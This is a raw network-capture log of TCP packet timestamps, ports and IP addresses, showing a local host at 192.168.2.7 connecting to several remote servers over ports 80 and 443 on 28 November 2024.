Nov 28, 2024 11:05:07.595344067 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.595391035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.596158028 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.596204042 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.596266031 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.596313000 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.597157955 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.597206116 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.597343922 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.597389936 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.598067999 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.598117113 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.598200083 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.598247051 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.599045038 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.599092007 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.599148989 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.599195957 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.599992037 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.600042105 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.645458937 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.645545959 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.645577908 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.645623922 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.645930052 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.645978928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.646040916 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.646094084 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.646895885 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.646946907 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.646976948 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.647023916 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.647845984 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.647897005 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.647980928 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.648027897 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.648808956 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.648858070 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.648910999 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.648960114 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.649785042 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.649836063 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.649892092 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.649940968 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.650831938 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.650886059 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.650914907 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.650959015 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.651679039 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.651734114 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.651771069 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.651817083 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.652673960 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.652731895 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.652761936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.652812004 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.653651953 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.653702021 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.653789997 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.653839111 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.654628038 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.654679060 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.654740095 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.654787064 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.655582905 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.655639887 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.655710936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.655756950 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.656543016 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.656594992 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.656646967 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.656745911 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.657499075 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.657542944 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.657623053 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.657669067 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.658443928 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.658493996 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.658554077 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.658602953 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.659478903 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.659524918 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.659554958 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.659604073 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.660386086 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:07.660435915 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:07.667248964 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.667768002 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:07.667789936 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.668241024 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:07.668247938 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.731523991 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.731971025 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:07.732007980 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.732487917 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:07.732495070 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.796325922 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.796981096 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:07.796999931 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.797530890 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:07.797535896 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.798495054 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.798902988 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:07.798929930 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.799401045 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:07.799407005 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.823890924 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.824871063 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:07.824897051 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:07.825004101 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:07.825010061 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.101927042 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.102001905 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.102061987 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.102410078 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.102428913 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.102442980 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.102447987 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.118729115 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.118762016 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.118856907 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.120784998 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.120794058 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.177849054 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.177916050 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.177964926 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.249377966 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.249444962 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.249505997 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.250691891 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.250721931 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.250735044 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.250741005 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.253834009 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.253889084 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.253932953 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.267636061 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.267714977 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.267802954 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.285595894 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.285626888 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.285643101 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.285649061 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.288574934 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.288584948 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.288599968 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.288603067 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.290783882 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.290808916 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.290829897 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.290834904 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.300360918 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.300414085 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.300611019 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.321336985 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.321392059 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.471409082 CET	49715	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.471443892 CET	443	49715	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.471841097 CET	49715	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.496673107 CET	49716	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.496731043 CET	443	49716	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.496793032 CET	49716	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.534177065 CET	49715	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.534197092 CET	443	49715	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.545893908 CET	49717	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.545943975 CET	443	49717	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.546014071 CET	49717	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.546134949 CET	49717	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.546148062 CET	443	49717	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:08.569520950 CET	49716	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:08.569549084 CET	443	49716	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:09.002432108 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.002477884 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:09.002526999 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.002669096 CET	49719	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.002711058 CET	443	49719	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:09.002757072 CET	49719	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.003361940 CET	49720	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.003401995 CET	443	49720	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:09.003561974 CET	49720	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.004200935 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.004210949 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:09.004384041 CET	49719	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.004393101 CET	443	49719	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:09.004765987 CET	49720	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.004775047 CET	443	49720	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:09.016148090 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.016160965 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:09.016206026 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.016452074 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:09.016459942 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:09.845523119 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:09.886111021 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.167566061 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.214247942 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.341593027 CET	443	49717	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.343033075 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.343048096 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.343722105 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.343727112 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.349435091 CET	443	49716	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.349767923 CET	49716	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.349801064 CET	443	49716	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.350182056 CET	49716	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.350188017 CET	443	49716	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.351761103 CET	443	49715	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.352165937 CET	49715	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.352173090 CET	443	49715	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.352632999 CET	49715	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.352641106 CET	443	49715	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.385348082 CET	49717	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.658999920 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.659085989 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.659178972 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.713829041 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.717386007 CET	443	49720	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.760354996 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.761409998 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.761436939 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.762633085 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.762639046 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.772037029 CET	49717	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.772059917 CET	443	49717	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.778244972 CET	49717	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.778256893 CET	443	49717	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.784471035 CET	443	49716	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.784533024 CET	443	49716	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.784885883 CET	49716	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.786128998 CET	49716	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.786154985 CET	443	49716	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.786170006 CET	49716	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.786175966 CET	443	49716	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.791666031 CET	49720	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.794954062 CET	443	49715	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.795111895 CET	443	49715	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.795306921 CET	49715	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.795811892 CET	49715	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.795828104 CET	443	49715	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.795905113 CET	49715	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.795911074 CET	443	49715	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.801671028 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.802318096 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.802344084 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.802684069 CET	49720	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.802691936 CET	443	49720	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.802999973 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.803006887 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.803503990 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.803559065 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.803807020 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.803807020 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.803814888 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.803817034 CET	443	49720	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.803822994 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.803831100 CET	443	49720	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.803891897 CET	49720	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.804501057 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.804563999 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.855098009 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.855235100 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.855235100 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.855295897 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.855320930 CET	49720	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.855393887 CET	443	49720	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.856848955 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.856863976 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.857256889 CET	49720	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.857264042 CET	443	49720	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.857321978 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.857352018 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:10.902252913 CET	49720	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:10.950613976 CET	49727	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.950670004 CET	443	49727	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.950737953 CET	49727	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.968784094 CET	49728	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.968832016 CET	443	49728	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.968956947 CET	49727	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.968978882 CET	443	49727	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.968990088 CET	49728	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.970336914 CET	49729	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.970366955 CET	443	49729	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.970468998 CET	49729	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.970606089 CET	49729	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.970616102 CET	443	49729	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:10.972816944 CET	49728	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:10.972837925 CET	443	49728	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.058413982 CET	49700	443	192.168.2.7	104.98.116.138
Nov 28, 2024 11:05:11.059293032 CET	49730	443	192.168.2.7	104.98.116.138
Nov 28, 2024 11:05:11.059336901 CET	443	49730	104.98.116.138	192.168.2.7
Nov 28, 2024 11:05:11.059395075 CET	49730	443	192.168.2.7	104.98.116.138
Nov 28, 2024 11:05:11.063329935 CET	443	49724	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.063391924 CET	49724	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.068792105 CET	49730	443	192.168.2.7	104.98.116.138
Nov 28, 2024 11:05:11.068805933 CET	443	49730	104.98.116.138	192.168.2.7
Nov 28, 2024 11:05:11.071109056 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.096322060 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.096386909 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.096427917 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.096767902 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.096788883 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.096801996 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.096807003 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.100737095 CET	49731	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.100857973 CET	443	49731	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.100948095 CET	49731	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.101177931 CET	49731	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.101208925 CET	443	49731	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.102328062 CET	443	49717	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.102550030 CET	443	49717	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.102601051 CET	49717	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.102632999 CET	49717	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.102632999 CET	49717	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.102649927 CET	443	49717	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.102659941 CET	443	49717	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.106283903 CET	49732	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.106314898 CET	443	49732	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.106376886 CET	49732	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.106509924 CET	49732	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:11.106523991 CET	443	49732	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:11.178466082 CET	443	49700	104.98.116.138	192.168.2.7
Nov 28, 2024 11:05:11.352376938 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:11.352428913 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:11.395181894 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:11.395232916 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:11.395303011 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:11.397259951 CET	49734	443	192.168.2.7	52.149.20.212
Nov 28, 2024 11:05:11.397273064 CET	443	49734	52.149.20.212	192.168.2.7
Nov 28, 2024 11:05:11.430516958 CET	49720	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.430702925 CET	443	49720	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.430792093 CET	49720	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.580310106 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.580358028 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.580389977 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.580399036 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.580419064 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.580450058 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.580461979 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.580771923 CET	443	49718	142.250.181.68	192.168.2.7
Nov 28, 2024 11:05:11.580811977 CET	49718	443	192.168.2.7	142.250.181.68
Nov 28, 2024 11:05:11.583637953 CET	49718	443	192.168.2.7	142.250.181.68
